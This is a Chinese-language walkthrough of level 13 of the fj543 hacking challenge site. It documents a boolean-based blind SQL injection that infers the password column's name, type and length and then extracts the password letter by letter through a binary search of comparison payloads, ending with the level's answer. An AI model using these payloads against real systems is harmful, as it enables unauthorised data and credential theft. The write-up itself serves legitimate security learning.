fj543-第13关

第13关地址:http://www.fj543.com/hack/?level=13sql

根据提示,访问:http://www.fj543.com/hack/13sql.asp

看起来是一个可以调用到SQL的输入框。

很自然的……这个接口是有注入漏洞的,它能反馈出3种状态。
1、没有找到此ID对应的内容。(Nothing found)
2、数据库中有这条信息,但我不能直接告诉你密码。(The data exists.But I can't show you the password)
3、网页出错。请与系统管理员联系。

 

猜测密码字段名:
0 or password is not null(出错)
0 or pwd is not null(有数据)
密码字段名为pwd。

猜测字段类型:
0 or pwd <> 0(出错)
0 or pwd <> ''(有数据)
pwd字段名为字符串。

 

猜测字段长度(大概用的是MSSQL数据库):
514 and len(pwd) > 6(无数据)
514 and len(pwd) > 4(有数据)
514 and len(pwd) = 5(有数据)
密码是5个字符。

 

猜测密码(二分查找):
514 and pwd > 'm'(有数据)
514 and pwd > 't'(无数据)
514 and pwd > 'p'(无数据)
514 and pwd > 'o'(无数据)
514 and pwd > 'n'(有数据)
密码第1位是n。
514 and pwd > 'nm'(无数据)
514 and pwd > 'ng'(无数据)
514 and pwd > 'nc'(有数据)
514 and pwd > 'ne'(有数据)
514 and pwd > 'nf'(有数据)
密码第2位是f。
514 and pwd > 'nfm'(有数据)
514 and pwd > 'nft'(有数据)
514 and pwd > 'nfw'(有数据)
514 and pwd > 'nfy'(无数据)
514 and pwd > 'nfx'(无数据)
密码第3位是w。
514 and pwd > 'nfwm'(无数据)
514 and pwd > 'nfwg'(有数据)
514 and pwd > 'nfwj'(无数据)
514 and pwd > 'nfwh'(无数据)
密码第4位是g。
514 and pwd > 'nfwgm'(无数据)
514 and pwd > 'nfwgg'(无数据)
514 and pwd > 'nfwgc'(无数据)
514 and pwd > 'nfwga'(无数据)
514 and pwd > 'nfwgM'(无数据)
514 and pwd > 'nfwgG'(无数据)
514 and pwd > 'nfwgC'(无数据)
514 and pwd > 'nfwgA'(无数据)
514 and pwd = 'nfwgA'(有数据)
密码第5位是A。

 

回原网页,开心的输入nfwgA,但是不正确?还做了别的处理吗?

试了MD5、MD5(16bit)、Base64都不对……

会不会是大小写的问题?

输入nfwga,过关了……过关了……过关了……

pwd字段竟然大小写不敏感……

 

收获:第一次用注入漏洞猜测密码,SQL数据库的字符串有很多文章(比如utf8mb4_unicode_ci)。